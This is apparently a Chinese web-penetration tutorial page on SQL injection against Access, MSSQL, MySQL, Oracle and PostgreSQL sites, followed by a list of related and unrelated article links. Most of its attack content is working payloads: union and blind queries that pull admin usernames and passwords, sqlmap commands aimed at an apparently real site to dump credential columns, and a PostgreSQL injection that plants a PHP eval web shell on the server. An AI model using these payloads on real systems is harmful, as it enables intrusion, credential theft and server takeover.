Web渗透测试(sql注入 access,mssql,mysql,oracle,)
Access数据库注入:
access数据库由微软发布的关系型数据库(小型的),安全性差。
access数据库后缀名位*.mdb,
asp中连接字符串应用——
“Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”
Dim conn
Set conn = server.createobject(“adodb.connection”)
conn.open “provider=Microsoft.ACE.OLEDB.12.0;” & “data source = ” & server.mappath(“bbs.mdb”)
打开此数据库的工具——
破障浏览器,辅臣浏览器
注入分析——
判断注入点(判断有没有带入查询)
,
and 1=1
and 1=2
or 1=1
or 1=2
and 1=23
查看是否带入查询,如果带入查询了,说明有注入漏洞
存在注入--判断数据库类型——
and exsits (select * from msysobjects) >0(判断access)
and exsits (select * from sysobjects) >0(判断SQL server)
判断数据库表
and exists (select * from admin)(如果不存在admin表,可以试试user或者useradmin)
带入查询不报错说明有admin表
and exists (select admin from admin)查询是否有admin字段
and exists (select password from admin)查询是否有password字段
判断字段长度 order by 22
报错 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出admin和password的字段长度)
and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(这样就把用户名密码猜解出来了,再去md5解密即可)
示例:sqlmap注入access数据库
链接http://www.jnqtly.cn/cp11.asp?id=1129
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables(爆表)
10个线程跑
对file表进行猜解
sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file
对字段进行猜解
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"
然后去解密即可
———————————————————————————————————————
Mssql(SQL server)数据库注入:(中小型企业)
SQL server由微软公司推出的关系型数据库,支持对称多处理器的结构 存储过程,具有自主的sql语言,支持图形化管理工具。
SQL server数据库文件后缀位xxx.mdf,日志文件后缀为xxx_log.ldf
基础语句select * from 表名(查询)
sreate database 库名(创建)
drop database 库明(删除库)
权限——
sa权限:数据库操作,文件管理,命令执行,注册表读取等system
db权限:文件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users
调用分析——
<% set conn =server.crateobiect(“adodb.connection”)
conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”
%>
注入语句:
判断是否有注入——
and 1=1
and 1=2
.......判断注入的方法是一样的
and (select Count(*) from [表名])>0(猜解表名)
and (select Count(字段名) from 表名)>0(猜测字段)
and (select top 1 len(字段名) from 表名)>0(猜测字段长度)
初步判断是否是mssql(SQL server)——
and user > 0
判断数据库系统——
and (select count(*) from sysobiects)> 0 mssql
and (select count(*) from msysobiects)> 0 access
实例:(其实都不建议手工测试,还是工具跑得快)
用穿山甲测试
可直接写入一句话木马
Sa权限可直接提权
如果命令不生效可先恢复一下spoa换一下类型
—————————————————————————————————————————
Mysql数据库注入:(中小型企业)
瑞典推出的关系型数据库,现在已经被甲骨文公司收购,搭配php+apache+mysql
Mysql函数——
systm_user() 系统用户名
user() 用户名
current_use() 连接数据库的用户名
database() 数据库名
version() MySQL数据库版本
load_file() 转成16进制或者是10进制mysql读取本地文件的函数
@@datadir 读取数据库路径
@@basedir 读取MySQL安装路径
@@version_comoile_os 判断操作系统
PHP+MySQL链接——
<?php
$host=’localhost’; 数据库地址
$database=’sui’; 数据库名称
$user=’root’; 数据库账户
$pass=’’; 数据库密码
$webml=’/0/’; 安装文件夹
?>
注入语句:
判断是否有注入——
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
.......判断注入的方法是一样的
判断字段长度——
order by xx
order by 21 正常,order by 22不正常,说明长度为21
union secect 1-18 from information_schema.tables(报出错误)
示例:(MySQL5.0以上的版本)
先判断是否存在注入,and不行试试其他or之类的,然后判断字段长度
爆出错误2和3
在报错位置查询想要的信息
猜解用户名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables
猜解数据库名
http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables
猜解表名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where_schema=0x6469616E(把库名转换成16进制)
爆出表名,爆出来后可以一个一个去尝试
猜解列名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名转换成16进制)
猜解字段
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一个\的16进制)
爆出管理员账号密码
—————————————————————————————————————————
Oracle数据库注入:(大型企业,政府,金融,证券)
Oracle数据库由美国甲骨文公司推出的,以分布式数据库为核心,是目前世界上使用最广范的数据库管理系统,支持多用户,事物的处理,移植性强。
Oracle数据库代码分析——
id = request.getParameter(“id”);
String strSQL = “select title,content from news where id=” + id;
ResultSet rs = strt.executeQuery(strSQL);
while(rs.next())
{
String title = rs.getString(“time”);
String content = rs.getString(“conntent”);
Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>” + content + “</td></tr>”);
}
注入语句:
判断是否有注入——
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
.......判断注入的方法是一样的
判断语句——
示例:
猜解表名,存在则不报错and (select count(*) from admin)<>0
猜解user列名,存在则不报错and (select count(user) from admin)<>0
猜解pwd列名,存在则不报错and (select count(pwd) from admin)<>0
判断长度and (select count(*) from admin where length(name)>=5)=1(length()函数用于字符串长度,此处猜测用户名长度和5比较,意思就是猜测是否由5个字符组成)
猜解第一个位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1(substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a)
猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重复以上操作,去配对ascii码表,可以判断账号为admin)
相同方式猜解密码;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密码长度为8
猜解第一位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)
猜解第一位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)(重复以上操作,去配对ascii码表,可以判断账号为admin888)
ascii表
测试登陆
———————————————————————————————————————
Postgresql注入:(国内用的比较少)
注入语句:
判断是否有注入——
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
.......判断注入的方法是一样的
判断语句——
示例:
http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(version() as int)(获取数据库版本信息,系统信息)
http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(user||123 as int)(获取当前用户名称,Postgres用户相当于root用户权限)
http://www.xxx.jp/xxx/xx/php?id=307 ;create table xxx(w text not null);(创建表x)
插马——
http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句话木马)
写文件——
http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(将一句话木马保存为xxx.php文件,执行后用菜刀链接,然后上传webshll)
——————————————————————————————————————————————————
提交方式注入:
Get——
get注入比较常见,如www.xxx.com/xx.asp?id=1
判断方式——
and 1 =1
and 1=2
Post——
post提交方式主要适用于表单的提交,用于登录框的注入,如www.xxx.com/admin.php
测试工具——pangolin,sqlmap
判断方式——
在登陆框键入 ‘or’=1
示例:(穿山甲跑)
加载表单
把后台地粘贴上,开始跑
加载表单
它会默认把表单提交到根路劲,需要把它改成登陆路劲
Sqlmap跑——
示例:
加上根目录路径,然后在往下操作
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dbs
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --tables -D “列名”
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --columns -T “表名” -D “列名”
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dump -C “user,pass” -T “表名” -D “列名”
Cookie——
cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统
示例:
———————————————————————————————————————
搜索框注入:
使用的工具——burpsuite,sqlmap
思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap跑
示例:sqlmap -r xx.txt --tables(猜表名)
sqlmap -r xx.txt --columns -T “admin”(猜列名)
sqlmap -r xx.txt --C “admin,password” -T “manager” --dump -v 2(列内容)
找到搜索框
抓包
再跑sqlmap
————————————————————————————————————————————————
伪静态注入:
网站管理员耍小聪明,看着是静态页面,其实是动态页面
如http://www.xxx.com/xxxx/xxx/xxx.html
判断——
http://www.xxx.com/index.php 返回正常说明是php写的 (index.asp,index.jsp)
示例——
http://www.xxxx.cn/xxx_99,html(把伪静态链接构造成动态脚本语言)
http://www.xxxx.cn/xx.php?id=99 (asp?id= jsp?id= aspx?id= 不报错说明就是此语言)
Web渗透测试(sql注入 access,mssql,mysql,oracle,)的更多相关文章
- web安全测试--sql注入攻击
先要自行了解sql的几个概念: 1. or '1'='1' 2. order by 3. union : 联合查询需要表字段相同 sql注入攻击漏洞判断步骤: 1.‘ 2.查看数据库信息 3.绕过过 ...
- web安全测试&渗透测试之sql注入~~
渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- web渗透测试
信息收集 网络搜索 目录遍历:site:域名 intitle:index.of 配置文件泄露:site:域名 ext:xml | ext:conf | ext:cnf | ext:reg | ext: ...
- 零基础到精通Web渗透测试的学习路线
小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...
- Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战
Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...
随机推荐
- 探索ArrayList自动改变size真相
探索ArrayList自动改变size真相 ArrayList的列表对象实质上是存储在一个引用型数组里的,有人认为该数组有“自动增长机制”可以自动改变size大小.正式地说,该数组是无法改变 大小的, ...
- Netty 编解码技术 数据通信和心跳监控案例
Netty 编解码技术 数据通信和心跳监控案例 多台服务器之间在进行跨进程服务调用时,需要使用特定的编解码技术,对需要进行网络传输的对象做编码和解码操作,以便完成远程调用.Netty提供了完善,易扩展 ...
- Sql Server的艺术(六) SQL 子查询,创建使用返回多行的子查询,子查询创建视图
子查询或内部查询或嵌套查询在另一个SQL查询的查询和嵌入式WHERE子句中. 子查询用于返回将被用于在主查询作为条件的数据,以进一步限制要检索的数据. 子查询可以在SELECT,INSERT,UPDA ...
- oracle用户与表空间操作
oracle系统用户sys,system , sysman, scott 使用system用户登录[username/password][@server][as sysdba|sysoper]eg: ...
- 以Apache模块的方式编译安装php-5.5.4
新建用户及用户组 groupadd webuser useradd -g webuser webuser 下载php-5.5 下载地址:http://pan.baidu.com/s/1o6I6Lnk ...
- bzoj 4813: [Cqoi2017]小Q的棋盘 [树形背包dp]
4813: [Cqoi2017]小Q的棋盘 题意: 某poj弱化版?树形背包 据说还可以贪心... #include <iostream> #include <cstdio> ...
- BZOJ 3168: [Heoi2013]钙铁锌硒维生素 [线性基 Hungary 矩阵求逆]
3168: [Heoi2013]钙铁锌硒维生素 题意:给一个线性无关组A,再给一个B,要为A中每个向量在B中选一个可以代替的向量,替换后仍然线性无关.判断可行和求字典序最小的解 PoPoQQQ orz ...
- BZOJ 4765: 普通计算姬 [分块 树状数组 DFS序]
传送门 题意: 一棵树,支持单点修改和询问以$[l,r]$为根的子树的权值和的和 只有我这种不会分块的沙茶不会做这道题吗? 说一点总结: 子树和当然上$dfs$序了,询问原序列一段区间所有子树和,对原 ...
- C# 简单内存补丁
写在开头:看了一些视频教程,感觉OD为什么别人学个破解那么容易,我就那么难了呢,可能是没有那么多时间吧. 解释:个人见解:所谓内存补丁,即:通过修改运行程序的内容,来达到某种目的的操作.修改使用Ope ...
- XGoServer 一个基础性、模块完整且安全可靠的服务端框架
作者:林冠宏 / 指尖下的幽灵 掘金:https://juejin.im/user/587f0dfe128fe100570ce2d8 博客:http://www.cnblogs.com/linguan ...